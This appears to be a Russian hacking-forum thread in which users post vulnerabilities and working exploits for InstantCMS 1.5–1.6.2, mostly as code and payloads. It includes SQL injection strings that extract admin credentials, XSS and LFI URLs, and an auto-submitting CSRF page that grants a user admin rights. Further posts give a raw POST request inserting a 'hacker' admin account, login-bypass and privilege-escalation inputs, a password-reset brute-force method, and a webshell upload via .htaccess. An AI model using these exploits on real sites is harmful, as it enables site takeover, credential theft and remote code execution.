if($inDB->rows_count('cms_users', 'LOWER(nickname) LIKE "'.strtolower($nickname).'"', 1)){
$msg .= $_LANG['ERR_NICK_EXISTS'].'<br/>';
}
/core/classes/db.class.php
public function rows_count($table, $where, $limit=0){
$sql = "SELECT * FROM $table WHERE $where";
if ($limit) { $sql .= " LIMIT ".$limit; }
$result = $this->query($sql);
return $this->num_rows($result);
}
Суть:Перед тем как аккаунт занесется в бд, он проверится на совпадения.
$nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому.
вбиваем d поле никнейм следующую шляпу.
1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))#
Есть одна проблема. Символы <> Жрет фильтр. Это печально, из-за этого на добычу хеша бинарным поиском уйдет больше времени и больше срача будет в логах. Пока еще не раздумывал, но я догадываюсь, как можно обойти. Как разберусь напишу результат.
P.S. переменная $email, проверяется только на регулярку через eregi(). Поставил старую версию php и начал Травить я его ядовитым нулл байтом. ничего хорошего не вышло. только ошибка в бд... байт чего-то синтаксис портит нехило.
С этого момента после нахождения мной уязвимости в этой кмс, о ней будет информирован разработчик.
InstantCMS v1.5.3 © 2009
Пассивная XSS
/index.php?view=price&do=search&query=%22onMouseMove=%22javascript:alert();%22
/admin/index.php?view=components&do=config&id=21&opt=edit&item_id=1%22%3E%3Cscript%3Ealert();%3C/script%3E
LFI
Нужны права админа.
Т.к. при ../ - слэш убираеться, юзаем ..\
/admin/index.php?view=..%5C..%5Cshell.txt%00
(В корне лежал файл shell.txt с phpinfo(); ), код выполнился.
SQL Inj
Нужны права админа.
/admin/index.php?view=components&do=config&id=21&opt=edit&item_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+
if (isset($_SESSION['editlist'])){
$id = array_shift($_SESSION['editlist']);
if (sizeof($_SESSION['editlist'])==0) { unset($_SESSION['editlist']); } else
{ $ostatok = '(На очереди: '.sizeof($_SESSION['editlist']).')'; }
} else { $id = $_REQUEST['item_id']; }
$sql = "SELECT * FROM cms_user_autoawards WHERE id = $id LIMIT 1";
$result = dbQuery($sql) ;
if (mysql_num_rows($result)){
$mod = mysql_fetch_assoc($result);
}
CSRF exploit:
<html>
<title> Fs3M Chm0k3 v 3Nt0m ch4te! =* </title>
<div style='display: none'>
<form action="http://shop/admin/index.php?view=users&do=edit&id=21" method="post" enctype="multipart/form-data" name="addform" id="addform">
<input name="login" type="text" id="logininput" value="Login" />
<input name="nickname" type="text" id="login" value="Xenker"/>
<input name="email" type="text" id="nickname" value="abcd@localhost"/>
<input name="pass" type="password" id="pass"/>
<input name="pass2" type="password" id="pass2"/>
<select name="group_id" id="group_id"><option value="2" >Администраторы</option></select>
<input name="is_locked" type="radio" value="0" checked="checked" />
Нет
<input name="do" type="hidden" id="do" value="update" />
<input name="add_mod" type="submit" id="add_mod" value="Сохранить профиль" />
</div>
<script>
document.addform.submit();
</script>
</html>
Примечание:
Там очень много SQL Inj, но, долбанное ЧПУ недаёт свободу! :(
The matrix
12.05.2010, 03:01
Переустановка пароля админа и угадывание его
Уязвимы все версии.
Для эксплуатации нужно:
Админское мыло(по умолчанию отображается в профиле)
много времени.
В чем суть:
/components/registration/frontend.php
$sql = "SELECT * FROM cms_users WHERE email = '$email' LIMIT 1";
$result = $inDB->query($sql) ;
if ($inDB->num_rows($result)>0){
$usr = $inDB->fetch_assoc($result);
$newpassword = substr(md5(microtime()), 0, 6);
$inDB->query("UPDATE cms_users SET password = '".md5($newpassword)."' WHERE id = ".$usr['id']) ;
$mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n";
$mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n";
$mail_message .= $_LANG['REMINDER_TEXT'].' "'.$inConf->sitename.'".' . "\n\n";
$mail_message .= $_LANG['OUR_PASS_IS_MD5'] . "\n";
$mail_message .= $_LANG['OUR_PASS_IS_MD5_TEXT'] . "\n\n";
$mail_message .= '########## '.$_LANG['YOUR_LOGIN'].': ' .$usr['login']. "\n\n";
$mail_message .= '########## '.$_LANG['YOUR_NEW_PASS'].': ' .$newpassword . "\n\n";
$mail_message .= $_LANG['YOU_CAN_CHANGE_PASS']."\n";
$mail_message .= $_LANG['IN_CONFIG_PROFILE'].': '. cmsUser::getProfileURL($usr['login']) . "\n\n";
$mail_message .= $_LANG['SIGNATURE'].', '. $inConf->sitename . ' ('.HOST.').' . "\n";
$mail_message .= date('d-m-Y (H:i)');
$inCore->mailText($email, $inConf->sitename.' - '.$_LANG['REMINDER_PASS'], $mail_message);
Этот скрипт восстанавливает пароль рассеяным юзерам. Но как он это делает.
1) Проверяет есть ли мыльник в бд.
2) Скрипт не церемонясь присваивает значение паролю равному первым шести символам хеша от значения, которое генерирует функция microtime().
Функция microtime() возвращает текущую метку времени с микросекундами. Эта функция
доступна только
на операционных системах, в которых есть системная функция gettimeofday().
При вызове без необязательного параметра, возвращается строка в формате "msec sec",
где sec - это количество секунд, прошедших с начала Эпохи
Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть.
она генерирует что-то на подобии.
0.xxxxxx00 [1273589840]
где xxxxxx-доли секунды
то что в квадратных скобках-это количество секунд, прошедших с начала Эпохи Unix.
Как юзать уязвимость:
Отсылаем запрос на восстановление пароля и сниффаем пакет. смотрим в ответе на запрос дату.
Там что-то вроде.
Tue, 11 May 2010 20:39:23 GMT
узнаем на локальной машине сколько прошло с момента 1970, 00:00:00 GMT.
2) А вот микросекунды придется брутить, их мы никак не узнаем. Список
создаем вида
0.xxxxxx00 [время в секундах прошедшее от момента "Unix" до момента отправки запроса на восстановление пароля]
пример: 0.30001200 1273589840
всесто xxxxxx вставляем все возможные комбинации из цифр, их 1 млн. Затем преобразуем их к виду.
substr(md5(значение), 0, 6)
возвращаем мд5 каждого получившегося значения и отрезаем от хеша символы после шестого знака.
Пример: 1a512b
Получился словарь 1млн слов. Один из этих слов-сгенерированный пассворд. Брутим веб форму.
У меня на дедике многопоточный брут дает до 11 ппс.
1000000/11=90.909 - то есть в худшем случае пароль мы узнаем через сутки. Геморно, а че поделать. На количество попыток залогиниться ограничений не стоит в форме авторизации.
P.S. Оказывается секунда-это много.
Этот баг не яркий пример приятной эксплуатации. Но все же он ведет к успеху. Т.К. В сгенерированном большом словаре 100% содержится правильный пассворд. И если ничего не остается, как вариант можно юзать.
Нарушение криптостойкости паролей
еще этот баг открывает новую опасность. Сгенерированный пароль сразу попадает в бд. Что это дает? Допустим стянул ты пароль админа через sql inj. А он не расшифровывается, пароль трудный. Что мы делаем:
1) Переустанавливаем пароль той же фичей. Напоминаю пароль состоит из 6 символов, которые являются цифрами или буквами.
2) Стягиваем через sql inj md5 и расшифровываем уже сгенерированный пароль. (думаю пароль из 6 символов [букв и цифр] расшифровать не трудно)
все
Видео с примером использования уязвимости:
https://forum.antichat.ru/threadedpost2138119.html#post2138119
instantCMS 1.5.3
Blind SQL Inj.
Вывода ошибок нету. Как хотите так и крутите :D
Я включил себе вывод ошибок.
/rss/comments/catalog-12234%20or%20(select%20count(*)%20from%20informati on_schema.tables%20group%20by%20concat(version(),f loor(rand(0)*2)))--%20/feed.rss
Duplicate entry '5.0.45-community-nt1' for key 1
case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
if (mysql_num_rows($result)){
$data = mysql_fetch_assoc($result);
if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; }
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
}
break;
Опачки. Ещё Blind.
Instant CMs 1.5.3
/rss/content/-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20--/feed.rss
т.к. юзер root. первый символ r = ASCII = 114.
Выведиться весь контент, НУ вы понеле кароче!
// /components/rssfeed/frontend.php?target=content&item_id=-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20--
Так даже удобнее ^_^
The matrix
13.05.2010, 12:58
InstantCMS <==1.5.1 Внедерение sql кода Добавляем админа
Иногда бывают моменты, когда нет смысла искать уязвимость, чисто потому что разработчик продукта сам ее нашел за вас =)))
Уязвимость была найдена методом сравнения нового дистрибутива и старого. В результате было найдено много багов в старых дистрибутивах. Самый вкусный выкладываю.
файл
/core/ajax/dumper.php
Этот скрипт по идее создан для админа, но пускает и простых юзеров. Суть значит в чем? Он экспортит, импортит бд и удаляет бэкапы.
С экспортом бд ничего хорошего сказать не могу. На локалхосте робит, на некоторых сайтах работать отказывается. Но нам он и не нужен. Мы будем добавлять админа через import
if ($opt=='import'){
$uploaddump = $dir.'/import.sql';
if (@move_uploaded_file($_FILES['dumpfile']['tmp_name'], $uploaddump)) {
include($_SERVER['DOCUMENT_ROOT'].'/includes/dbimport.inc.php');
$errors = '';
if(dbRunSQL($uploaddump)){
@unlink($uploaddump);
echo '<span style="color:green">Импорт базы данных завершен.</span>';
} else {
echo '<span style="color:red">'.$errors.'</span>';
}
} else {
echo '<span style="color:red">Ошибка импорта базы</span>';
}
}
1) Передаем opt=import И через $_FILES шлем файл с evil запросом.
/includes/dbimport.inc.php
strstr($str, 'CREATE TABLE') ||
strstr($str, 'INSERT INTO') ||
strstr($str, 'DROP') ||
strstr($str, 'UPDATE') ||
strstr($str, 'ALTER TABLE'))
select запросы неприемлимы импортер их не хавает. Но и смысла в них нет.
Значит как юзать.
1) Тупо шлем пакет:
POST /core/ajax/dumper.php HTTP/1.0
User-Agent: google/bot
Host: localhost
Proxy-Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=----------sBqCWtu9l05BT8ffSSXt4Q
Content-Length: 675
------------sBqCWtu9l05BT8ffSSXt4Q
Content-Disposition: form-data; name="opt"
import
------------sBqCWtu9l05BT8ffSSXt4Q
Content-Disposition: form-data; name="dumpfile"; filename="13-05-2010.sql"
Content-Type: application/octet-stream
INSERT INTO `cms_users` (`id`, `group_id`, `login`, `nickname`, `password`, `email`, `icq`, `regdate`, `logdate`, `birthdate`, `is_locked`, `is_deleted`, `rating`, `points`, `last_ip`) VALUES ('666','2','hacker','hacker','5f4dcc3b5aa765d61d83 27deb882cf99','yIIIaCTbIu_JIaMep@JIaMep.ru','10020 0300','2007-11-23 12:41:57','2010-05-13 11:46:50','1980-01-01','0','0','2','0','0.0.0.0');
------------sBqCWtu9l05BT8ffSSXt4Q--
В бд появится админ
id:666
login:hacker
password : password (md5)
email: yIIIaCTbIu_JIaMep@JIaMep.ru
2)Для консерваторов:
</html>
<head>
<title> The matr1x</title>
</head>
<h3>форма добавления админа</h3>
<form id="importdump" name="importdump" action="http://www.localhost/core/ajax/dumper.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="opt" value="import" />
<input name="dumpfile" type="file" id="dumpfile" size="25" />
<input type="submit" value="добавить админа" />
</form>
</body>
</html>
УСЕ! =)
instantCMS 1.5.3
Blind SQL Inj.
Вывода ошибок нету. Как хотите так и крутите :D
Я включил себе вывод ошибок.
Duplicate entry '5.0.45-community-nt1' for key 1
case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
if (mysql_num_rows($result)){
$data = mysql_fetch_assoc($result);
if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; }
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
}
break;
Ulalala ^_^
components/rssfeed/frontend.php?target=content&item_id=1234+union+select+1,concat_ws(0x3a,user(), database(),version()),3,4,14+--+
Обязательно 4,14!
http://gyazo.com/a25962db7b4ad1c6874a15d3c757e57d.png
:o
The matrix
13.05.2010, 23:33
instantCMS 1.5.3
case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
if (mysql_num_rows($result)){
$data = mysql_fetch_assoc($result);
if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; }
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
}
break;
Ulalala ^_^
Обязательно 4,14!
http://gyazo.com/a25962db7b4ad1c6874a15d3c757e57d.png
:o
запрос
SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1
В запросе ведь $target_id.... Откуда взялся item_id?
Дело в то, что Тут другой запрос. Твой не имеет совершенно никакого отношения к баге.
Результат: Кривой Эксплойт.
Суть этой скули в следующем.
Проследим и ОЧЕНЬ подробно по запчастям разберемся в работе скрипта. Так как тут очень много переходов по файлам.
/components/rssfeed/frontend.php
require(PATH."/core/cms.php");
...................................
$inCore->loadClass('db');
...................................
if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
$ready = sizeof($rssdata['items']);
функция includeFile() объявляется в
/core/cms.php.
вот она
public function includeFile($file){
include_once PATH.'/'.$file;
}
В своем запросе ты передал $target=content.
Инклудится
/components/content/prss.php
смотрим что в нем
$cat = dbGetFields('cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight');
Возвращаемся в
/core/cms.php и смотрим, что делает функция dbGetFields()
/core/cms.php
function dbGetFields($table, $where, $fields, $order='id ASC'){
$inDB = cmsDatabase::getInstance();
$sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order";
$result = $inDB->query($sql) or die('DB_GET_FIELDS: '.mysql_error().'<pre>'.$sql);
if ($inDB->num_rows($result)){
$data = $inDB->fetch_assoc($result);
return $data;
} else {
return false;
}
}
Функции поступают
dbGetFields(
'cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight')
Шаблонный вид
($table, $where, $fields, $order='id ASC')
как видно функция генерирует запрос
$sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order";
первое значение $table='cms_category' второе значение. $where='id='.$item_id $fields='id, title, description, NSLeft, NSRight'
ну и $order='id ASC', который уже задан в функции. Теперь подставляем значения смотрим какой запрос нам сгенерирует функция.
SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC
как видно остался злосчастный $item_id, который не проинициализирован и не подвергается обработке.
Далее что делает функция.
dbGetFields
$inDB->num_rows($result)
$result = $inDB->query($sql)
$data = $inDB->fetch_assoc($result);
функции query() и fetch_assoc() вызовутся так:
вернемся в fronted.php
смотрим строчку
$inCore->loadClass('db');
loadClass() объявляется
в cms.php
public function loadClass($class){
$classfile = PATH.'/core/classes/'.$class.'.class.php';
if (file_exists($classfile)){
include_once($classfile);
return true;
}
нам подгружается db.class.php
public function fetch_assoc($result){
return mysql_fetch_assoc($result);
}
public function num_rows($result){
return (int)mysql_num_rows($result);
}
public function query($sql){
$inConf = cmsConfig::getInstance();
$result = mysql_query($sql, $this->db_link);
if ($inConf->debug){
$this->q_count += 1;
$this->q_dump .= '<pre>'.$sql.'</pre><hr/>';
}
if (mysql_error() && $inConf->debug){
die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
}
return $result;
}
как и видно по названия им вызываются соответствующие функции.
если num_rows() ничего тебе не вернет, то дело до fetch_assoc() не дайдет, функция вернет false. А вытекающее следующее.
вместо вывода ты получишь:
frontend.php
else {
$rss = '<p>Запрашиваемая вами RSS-лента не содержит записей.</p>';
}
Отсюда следует вот что:
num_rows() должен вернуть не пустое значение.
exploit
components/rssfeed/frontend.php?target=content&item_id=[id существующей категории]+union+select+1,concat_ws(0x3a,user(), database(),version()),3,4,5+--+
честно скажу я не стал вникать, почему твоя конструкция вернула тебе резуьтат(num_rows не вернул 0), ибо все эти хождения по файлам и функциям уже мой мозг вынесли напрчь. Но одно очевидно, я добавил новые категории(а админы их пустыми то и не держут) и твой exploit отказался работать.
вот такая система работы. Никаких 4,14 не нужно.
а ведь хорошая уязвимость =) даже mq = off не требуется.
$do = $inCore->request('do', 'str', 'rss');
$target = $inCore->request('target', 'str', 'rss');
$item_id = $inCore->request('item_id', 'str', 'all');
Вот откуда он взялся :)
А вообще.
...
$do = $inCore->request('do', 'str', 'rss');
$target = $inCore->request('target', 'str', 'rss');
$item_id = $inCore->request('item_id', 'str', 'all');
...
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
Посмотрим на файл с этой функцией..
function rss_content($item_id, $cfg, &$rssdata){
....
if ($item_id == 'all') { $item_id = 0; }
//CHANNEL
if ($item_id){
$cat = dbGetFields('cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight');
$catsql = "AND c.category_id = cat.id AND cat.NSLeft >= {$cat['NSLeft']} AND cat.NSRight <= {$cat['NSRight']}";
Ponel ?)
v 1.5.3
The matrix
14.05.2010, 12:23
Вот откуда он взялся :)
А вообще.
...
$do = $inCore->request('do', 'str', 'rss');
$target = $inCore->request('target', 'str', 'rss');
$item_id = $inCore->request('item_id', 'str', 'all');
...
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
Посмотрим на файл с этой функцией..
function rss_content($item_id, $cfg, &$rssdata){
....
if ($item_id == 'all') { $item_id = 0; }
//CHANNEL
if ($item_id){
$cat = dbGetFields('cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight');
$catsql = "AND c.category_id = cat.id AND cat.NSLeft >= {$cat['NSLeft']} AND cat.NSRight <= {$cat['NSRight']}";
Ponel ?)
v 1.5.3
Ну а я о чем писал? =) Я и эту функцию привел, и показал, что она делает и какой в результате получается запрос. И никакого target_id который ты привел в этом коде.
case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
if (mysql_num_rows($result)){
$data = mysql_fetch_assoc($result);
if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; }
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
}
break; там нету и быть не может. Прочти внимательнее мой пост выше =)
Кхм странно...
У тя версия какая? Просто у меня 1.5.3
The matrix
14.05.2010, 12:47
Я тестил на 1.5.3. Да все верно на 1.6.1 эта бага залатана вроде как. Закроем глаза на target_id.
Разберемся с запросом. Нагуляляся по функциям. В итоге ты в этот запрос инжектил?
SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC
?
Другая поправка.
если ты укажешь в item_id существующий id, то ты железно получишь вывод причину описал выше.
Иначе есть риск запороть вывод. Проверь, убедись.
Ну вчера же вывелось всё равно, в код вмешательств небыло :)
Мистика...
The matrix
14.05.2010, 21:54
LFI InstantCMS <===== 1.5.1
Nees: mq=off
index.php
$inCore->proceedBody();
/core/cms.php
public function proceedBody(){
$inPage = cmsPage::getInstance();
$menuid = $this->menuId();
$is_component = false;
ob_start();
if (isset($_REQUEST['view'])) { $component = htmlentities($_REQUEST['view'], ENT_QUOTES); }
if (isset($component)){
//CHECK COMPONENT NAME (это типа фильтр ухаха)
if (strstr($component, ' ') ||
strstr($component, '\'') ||
strstr($component, '"') ||
strstr($component, '&') ||
strstr($component, '#') ||
strstr($component, '*') ||
strstr($component, '>') ||
strstr($component, '<') )
{ die('HACKING ATTEMPT BLOCKED'); }
//EXECUTE COMPONENT
if(file_exists('components/'.$component.'/frontend.php')){
echo '<div class="component">';
require ('components/'.$component.'/frontend.php');
eval($component.'();');
echo '</div>';
$is_component = true;
if ($menuid != 1 && $inPage->back_button) { echo "<p><a href='javascript:history.go(-1)' class=\"backlink\">« Назад</a></p>"; }
} else { echo '<p>Компонент не найден!</p>'; }
}
$inPage->page_body = ob_get_clean();
if ($is_component) { $inPage->page_body = cmsCore::callEvent('AFTER_COMPONENT_'.mb_strtouppe r($component), $inPage->page_body); }
return true;
}
..................................
exploit
Index.php?view=[LFI]%00
The matrix
16.05.2010, 12:58
УРА! Вышла стабильная версия instantCMS 1.6.2, в которой разработчики полатали все выложенные тут баги, но у меня была цель найти еще баг именно в этой версии, что из этого вышло смотрим ниже.
0day. Повышаение прав в cms до админа InstantCms <===1.6.2 (обход фильтра)
Как видно из названия, мы можем из простого юзера попасть в админа.
Need MQ=off
редактирование профиля:
/users/frontend.php
if ($do=='editprofile'){
$opt = $inCore->request('opt', 'str', 'edit');
if (usrCheckAuth()){
if ($inUser->id==$id || $inCore->userIsAdmin($inUser->id)){
if ($opt == 'save'){
$errors = false;
$nickname = $inCore->request('nickname', 'str');
if (strlen($nickname)<2) { cmsCore::addSessionMessage($_LANG['SHORT_NICKNAME'], 'error'); $errors = true; }
$gender = $inCore->request('gender', 'str');
$city = $inCore->request('city', 'str');
if (strlen($city)>20) { cmsCore::addSessionMessage($_LANG['LONG_CITY_NAME'], 'error'); $errors = true; }
$email = $inCore->request('email', 'str');
if (!strpos($email, '@') || !strpos($email, '.')) { cmsCore::addSessionMessage($_LANG['REALY_ADRESS_EMAIL'], 'error'); $errors = true; }
$showmail = $inCore->request('showmail', 'int');
$email_newmsg = $inCore->request('email_newmsg', 'int');
$showbirth = $inCore->request('showbirth', 'int');
$description = $inCore->request('description', 'str');
$birthdate = (int)$_REQUEST['birthdate']['year'].'-'.(int)$_REQUEST['birthdate']['month'].'-'.(int)$_REQUEST['birthdate']['day'];
$signature = $inCore->request('signature', 'str');
$allow_who = $inCore->request('allow_who', 'str');
$icq = $inCore->request('icq', 'str');
$showicq = $inCore->request('showicq', 'int');
$cm_subscribe = $inCore->request('cm_subscribe', 'str');
if ($inCore->inRequest('field')){
foreach($_POST['field'] as $k=>$val){
$_POST['field'][$k] = str_replace('\"', '"', $_POST['field'][$k]);
$_POST['field'][$k] = str_replace('"', '"', $_POST['field'][$k]);
$_POST['field'][$k] = str_replace("\'", '’', $_POST['field'][$k]);
$_POST['field'][$k] = str_replace("'", '’', $_POST['field'][$k]);
$_POST['field'][$k] = strip_tags($_POST['field'][$k]);
}
$formsdata = $inCore->arrayToYaml($_POST['field']);
$forms_sql = ", formsdata='$formsdata'";
} else {
$forms_sql = '';
}
if (!$errors){
$sql = "UPDATE cms_user_profiles
SET city = '$city',
description = '$description',
showmail='$showmail',
showbirth='$showbirth',
showicq='$showicq',
allow_who='$allow_who',
signature='$signature',
gender='$gender' $forms_sql,
email_newmsg='$email_newmsg',
cm_subscribe='$cm_subscribe'
WHERE user_id = $id";
$inDB->query($sql) ;
$sql = "UPDATE cms_users
SET birthdate='$birthdate',
email='$email',
icq='$icq',
nickname='$nickname'
WHERE id = $id";
$inDB->query($sql) ;
cmsCore::addSessionMessage($_LANG['PROFILE_SAVED'], 'info');
}
$inCore->redirect(cmsUser::getProfileURL($inUser->login));
}
Как устроен фильтр? У нас фильтр реплэсит
' (Кавычка)
\' (слеш+одинарная кавычка)
\" (слеш+двойная кавычка)
"(двойная кавычка)
насчет 2 и 3 я честно сказать не понял, что разработчики хотели этим мне доказать?
давайте обратим внимание на этот запрос.
$sql = "UPDATE cms_users
SET birthdate='$birthdate',
email='$email',
icq='$icq',
nickname='$nickname'
WHERE id = $id";
$inDB->query($sql) ;
Этот запрос апдейтит cms_users. (Через форму для апдейта). изменяет ICQ, email, nickname.
В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ.
Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные.
Ну и как же нам внедрить себя в этот запрос с учетом вышеуказанного фильтра? ЭЛЕМЕНТРАРНО!
В поле ваше имя вбиваем: group_id=2 #\
В поле ICQ Вбиваем: 333s \
соответственно $icq=333s \ ; $nickname=group_id=2 #\
Давайте посмотрим, что у нас получилось.
$sql = "UPDATE cms_users
SET birthdate='$birthdate',
email='$email',
icq='333s \',
nickname=', group_id=2 #\'
WHERE id = $id";
АГА. Жареным пахнет.
Мы заэкранировали кавычку и вышли в запрос, и закрыли icq мы открывающей кавычкой От nickname и дописали доболнительное значение group_id=2. После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа.
Вот такая вот интересная бага была найдена в новой версии instantCMS
Видео к теме:
https://forum.antichat.ru/showthread.php?p=2145955#post2145955
The matrix
24.05.2010, 03:28
Опять зиро дэй
Auth0r1zat1oN byPass InstantCMS<=== 1.6.2
Need: mq=off
Не буду нагромождать лишним кодом.
Запрос для авторизации следующий:
$sql = "SELECT *
FROM cms_users
WHERE $where_login AND password = md5('$passw') AND is_deleted = 0 AND is_locked = 0";
Что нельзя использовать
' (Кавычка) [Реплейсится в `(апостроф)]
легко понять, что этого мало.
Как юзать:
В поле логин пишем: matrix\
в поле пароль пишем: or id=1#\
У нас получится:
SELECT *
FROM cms_users
WHERE login = 'matrix\' AND password = md5('or id=1#\') AND is_deleted = 0 AND is_locked = 0
слешанули по одной кавычке в логине и пассворде.
в результате логин закрылся кавычкой от password и синтаксис не нарушился.
примечание:
id-айди пользователя под которым мы хотим залогиниться.
Вот так мы байпаснули авторизацию.
Разработчик о баге и о наличии супер функции mysql_real_escape_string() оповещен.
The matrix
24.05.2010, 21:57
УРА! Вышли заплатки на новую версию. Версию instantCMS. Захотел покурить php код вот что получилось
InstantCMS <==1.6.2(2) sql injection (insert)
MQ=off
/components/frontend.php
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
VALUES ('$id', '".$inUser->id."', '$title', '$description', '', NOW(), 0)";
повезло.
$title $description пропускают \
Как это заюзать
создаем на форуме топик
Название:matr1x\
Описание: , (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#
Мы получаем
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
VALUES ('$id', '".$inUser->id."', 'matr1x\', ', (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#', '', NOW(), 0)";
закрыли title кавычкой от description и вышли в запрос после чего проинжектировали -)
Теперь идем в список топиков и наблюдаем свой топик в описании которого что-то на подобии
admin:5f4dcc3b5aa765d61d8327deb882cf99
-----------
сообщение для разработчика: r2, привет =)))
The matrix
05.06.2010, 21:24
InstantCMS 1.6.2
File upload
Тащим свой зад на форму аплоада файлов
http://localhost/users/ваш id/addfile.html
componennts/users/frontend.php
foreach ($_FILES as $key => $data_array) {
$error = $data_array['error'];
if ($error == UPLOAD_ERR_OK) {
@mkdir(PATH.'/upload/userfiles/'.$id);
$tmp_name = $data_array["tmp_name"];
$name = $data_array["name"];
$size = $data_array["size"];
$size_mb += round(($size/1024)/1024, 2);
if ($size_mb <= $free_mb){
if(!strstr($name, '.php') && !strstr($name, '.asp') && !strstr($name, '.aspx') && !strstr($name, '.js') && !strstr($name, '.html') && !strstr($name, '.phtml')){
if (move_uploaded_file($tmp_name, PATH."/upload/userfiles/$id/$name")){
Заливаем сначала файл .htaccess содержимым
addhandler application/x-httpd-php jpg
затем shell с расширением jpg
Шелленг загрузится в
http://localhost/upload/userfiles/[ваш ид]/[имя шелла].jpg
и будет выполняться.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot